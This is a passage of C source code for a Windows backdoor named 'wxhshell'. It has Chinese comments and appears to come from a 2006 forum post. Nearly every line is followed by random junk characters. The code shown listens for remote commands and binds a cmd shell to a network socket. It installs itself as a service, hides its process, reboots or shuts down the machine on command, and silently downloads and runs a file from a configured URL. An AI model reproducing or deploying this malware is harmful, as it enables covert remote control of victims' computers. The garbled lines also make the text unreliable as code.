  } RaNeZhF>M  
  else { .h8M  
\qq-smcM-  
    switch(cmd[0]) { z,Xk\@  
  5 si}i'in  
  // 帮助 7'.s7& '7  
  case '?': { %C *^:\y  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); gGbI3^ r#  
    break; PrnrXl S  
  } n`<S&KP|  
  // 安装 eV;me>,  
  case 'i': { G11cNr>*  
    if(Install()) 2ksA.,UB^9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P;GprJ`l  
    else qx%jAs+~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >]/dOH,A  
    break; 'lQYJ0  
    } ~ x`7)3  
  // 卸载 vInFo.e[4  
  case 'r': { g!^J,e=  
    if(Uninstall()) In(NF#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Mq+< mX7  
    else Bl4 dhBZoO  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {hd-w4"115  
    break; OmNn,PCl8  
    } # "r kuDO  
  // 显示 wxhshell 所在路径 `ue?Z%p|  
  case 'p': { ,+-h7^{`  
    char svExeFile[MAX_PATH]; G8P+A1 f/>  
    strcpy(svExeFile,"\n\r"); SCq3Ds^  
      strcat(svExeFile,ExeFile); /djACA  
        send(wsh,svExeFile,strlen(svExeFile),0); 7^wE$7hS  
    break; <!!nI%NC  
    } r$DZkMue  
  // 重启 BE4\U_]a3  
  case 'b': { NbDda/7ki  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); yWuIu>VJ  
    if(Boot(REBOOT)) 6/7F">@j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZKQo#!}  
    else { yBe(^ n  
    closesocket(wsh); ZR mPP  
    ExitThread(0); ?!m m a\W  
    } /Sj_y*x1e  
    break; ;Jo*|pju  
    } qw0~ *0}  
  // 关机 ;tr)=)q &  
  case 'd': { |_I[1%&`N  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); gMay  
    if(Boot(SHUTDOWN)) 9:\A7 =  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D pNX66O  
    else { O3xz|&xY&  
    closesocket(wsh); m)k-uWc$C  
    ExitThread(0); sL mW\\kA>  
    } bL MkPty  
    break; L8D m9}  
    } T#N80BH[  
  // 获取shell Nuq(4Yf1W  
  case 's': { zKMv7;s?  
    CmdShell(wsh); l#ygb|=x  
    closesocket(wsh); y4r2}8fi  
    ExitThread(0); !qS05  
    break; K*:Im #Q  
  } un&>  
  // 退出 pLo;#e8'f  
  case 'x': { )BpIxWd?  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); vVdxi9yk  
    CloseIt(wsh); _KxX&THaj  
    break; i8eA_Q  
    } {[lx!QF 8&  
  // 离开 V^WQ6G1  
  case 'q': { R05T5Q1]A  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6Ok,_ !  
    closesocket(wsh); CQ jV!d0j  
    WSACleanup(); 30BR 0C  
    exit(1); 8(uw0~GO  
    break; K)N)IZ1q  
        } _-(z@  
  } /O_0=MLp  
  } +>^[W~[2  
)2toL5Q  
  // 提示信息 *.,8,e8Vq  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E s:5yX!  
} ~Ji>[#W K  
  } fGG 9zB6  
@21u I{  
  return; L*IU0Jy>  
} +Bn?-{h=  
^X$ I=ro  
// shell模块句柄 T 77)Np  
int CmdShell(SOCKET sock) [e1\A&T  
{ g\qX7nIH?  
STARTUPINFO si; jigbeHRy  
ZeroMemory(&si,sizeof(si)); y]MWd#U  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [ns&Y0Y`t  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^Jn|*?+l  
PROCESS_INFORMATION ProcessInfo; <G&WYk%u*  
char cmdline[]="cmd"; ~V!EtZG$  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %{Xm5#m  
  return 0; Le_CIk 5YL  
} Od*v5qT;$  
-z&9 DWH  
// 自身启动模式 83B\+]{hD  
int StartFromService(void) v  F]  
{ Fz{o-4  
typedef struct 0NVG"-Q  
{ x}uwWfe3  
  DWORD ExitStatus; (tTLK0V-|3  
  DWORD PebBaseAddress; e1oFnu2R  
  DWORD AffinityMask; YBR)s\*  
  DWORD BasePriority; gca|?tt  
  ULONG UniqueProcessId; s!bHS_\e|  
  ULONG InheritedFromUniqueProcessId; RLv&,$$0  
}   PROCESS_BASIC_INFORMATION; rnJS[o0  
=":@Foa  
PROCNTQSIP NtQueryInformationProcess; ZjE~W>pkQ  
qmQFHC_  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Lax9 "xI  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7eTA`@v5A  
;.L!%$0i#  
  HANDLE             hProcess; T..-)kL+p  
  PROCESS_BASIC_INFORMATION pbi; 69N1 mP  
)0'Y et}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >h|UCJ1 `  
  if(NULL == hInst ) return 0; fQ^h{n  
"MW55OWYU  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1LV|t+Sex  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "tpvENz2s  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); * .oi3m  
\%Pma8&d  
  if (!NtQueryInformationProcess) return 0; _CHKh*KHML  
|.^^|@+  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); VOD1xWrb  
  if(!hProcess) return 0; 7l[t9ON  
A[K:/tB  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; o-~-F+mj#  
gGF$M `  
  CloseHandle(hProcess); ^.nwc#  
|L*6x S[  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9 Wxq)  
if(hProcess==NULL) return 0; ytg7p5{!i  
.0 rJIO  
HMODULE hMod; c"6Kd$?M  
char procName[255]; $XU-[OF%:9  
unsigned long cbNeeded; ^!N;F"  
ER0TY,  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @oUf}rMiDa  
':5U&  
  CloseHandle(hProcess); tW'qO:y+  
ZKVp[A  
if(strstr(procName,"services")) return 1; // 以服务启动 [I#Q  
b=6ZdN1  
  return 0; // 注册表启动 = .fc"R|<K  
} 8f5%xY$  
5;r({ J  
// 主模块 A{xSbbDk  
int StartWxhshell(LPSTR lpCmdLine) y}s 0J K  
{ O%r S;o  
  SOCKET wsl; :==UDVP  
BOOL val=TRUE; lsTe*Od  
  int port=0; 7N&3FER  
  struct sockaddr_in door; '5&B~ 1&  
Ut0qr kqF  
  if(wscfg.ws_autoins) Install(); 37GHt9l  
5<0Yh#_  
port=atoi(lpCmdLine);  ] I N -  
hg)!m\g  
if(port<=0) port=wscfg.ws_port; n:%'{}Jw  
aTmX!!  
  WSADATA data; P#M<CG9  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; e!O &~#'h}  
(cbB %  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   X7(rg W8  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));  M}_M_  
  door.sin_family = AF_INET; 0nF>zOmc  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); BbXmT"@  
  door.sin_port = htons(port); Ip1QVND  
2}W6{T'  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^/4 {\3  
closesocket(wsl); ?,A8  fR  
return 1; L>|A6S#y8/  
} fh/)di  
6PVlZ  
  if(listen(wsl,2) == INVALID_SOCKET) { 4jI*Y6Wkz  
closesocket(wsl); ^;v.ytO*  
return 1; 476M` gA  
} >-o?S O(M,  
  Wxhshell(wsl); _A# x&<c  
  WSACleanup(); hNgcE,67q  
9 u6 g  
return 0; Y D1g]p  
{RWahnr{  
} hU=f?jo/  
]7Xs=>"Iw  
// 以NT服务方式启动 DY%T`}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @)FXG~C*  
{ vErbX3RY2  
DWORD   status = 0; aTs y)=N  
  DWORD   specificError = 0xfffffff; p)AvG;  
f]^J,L9qz  
  serviceStatus.dwServiceType     = SERVICE_WIN32; K1qY10F:_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; c"jhbH!u4  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]Y/pSwnV  
  serviceStatus.dwWin32ExitCode     = 0; crF9,p  
  serviceStatus.dwServiceSpecificExitCode = 0; Lt ZWs0l0  
  serviceStatus.dwCheckPoint       = 0; 7i%P&oB  
  serviceStatus.dwWaitHint       = 0; Nc^b8& 2J  
wZ#~+ }T  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _'o^@v:  
  if (hServiceStatusHandle==0) return; Sxx.>gP"61  
\p_8YC  
status = GetLastError(); SK~;<>:37  
  if (status!=NO_ERROR) /3bca!O  
{ pRaoR  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; s2 t-T0;  
    serviceStatus.dwCheckPoint       = 0; Y?q*hS0!H  
    serviceStatus.dwWaitHint       = 0; 2R~=@  
    serviceStatus.dwWin32ExitCode     = status; 5}(YMsUb  
    serviceStatus.dwServiceSpecificExitCode = specificError; 9fk\Ay1P  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); knj,[7uh  
    return; a|^-z|.  
  } YQw/[  
LP-KD  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; (*@~HF,t=  
  serviceStatus.dwCheckPoint       = 0; R&d_ WB4w  
  serviceStatus.dwWaitHint       = 0; }@t'rK[  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); i(TDJ@}  
} pu m9x)y1  
 s`{#[&[  
// 处理NT服务事件,比如:启动、停止 {mq$W  
VOID WINAPI NTServiceHandler(DWORD fdwControl) )l81R  
{ 2+hfbFu,1  
switch(fdwControl) J0Rz.=Y  
{ "!4>gg3r  
case SERVICE_CONTROL_STOP: ?F_;~  
  serviceStatus.dwWin32ExitCode = 0; }<x!95  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #h|,GvmF<b  
  serviceStatus.dwCheckPoint   = 0; lQ(BEv"2G[  
  serviceStatus.dwWaitHint     = 0; -n$rKEC4  
  { y*TNJJ|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "=0 lcb C  
  } .$T:n[@  
  return; Yk*57&QI  
case SERVICE_CONTROL_PAUSE: 0OoO cc  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^#6%*(D  
  break; =Z$=-\<x0.  
case SERVICE_CONTROL_CONTINUE: kA9 X!)2w  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; \Q BpgMi(  
  break; s Gm(Aax*0  
case SERVICE_CONTROL_INTERROGATE: 6d?2{_},  
  break; Z6 |'k:R8  
}; qS`|=5f  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F(kRAe;  
}  26klW:2*  
"vHAp55B{  
// 标准应用程序主函数 W Y qL  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) M`,Z#)Af  
{ ,, -[P*@  
#p:jKAc3  
// 获取操作系统版本 1Z{p[\k  
OsIsNt=GetOsVer(); %emPSBf@  
GetModuleFileName(NULL,ExeFile,MAX_PATH); d?+oT0pCH  
bT6)(lm  
  // 从命令行安装 )*AA9   
  if(strpbrk(lpCmdLine,"iI")) Install(); x;b+gIz*  
m"> =QP  
  // 下载执行文件 7XI4=O};&%  
if(wscfg.ws_downexe) { 5@r Zm4U  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) fbbl92p  
  WinExec(wscfg.ws_filenam,SW_HIDE); i)^ZH#G p  
} "a_D]D(d5  
i1H80m s  
if(!OsIsNt) { F/,<dNJ  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;<ma K*f\S  
HideProc(); d+| ! 6  
StartWxhshell(lpCmdLine); Q)i`.mHfFI  
} eX),B  
else b.u8w2(  
  if(StartFromService()) .Yv.-A=ZIg  
  // 以服务方式启动 {~{s=c0  
  StartServiceCtrlDispatcher(DispatchTable); f0'Wq^^  
else /xbF1@XtL  
  // 普通方式启动 ;. [$  
  StartWxhshell(lpCmdLine); %'g-%2C?  
|~vQ0D  
return 0; GZ>% &^E  
}
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只看该作者 1 发表于: 2006-10-10
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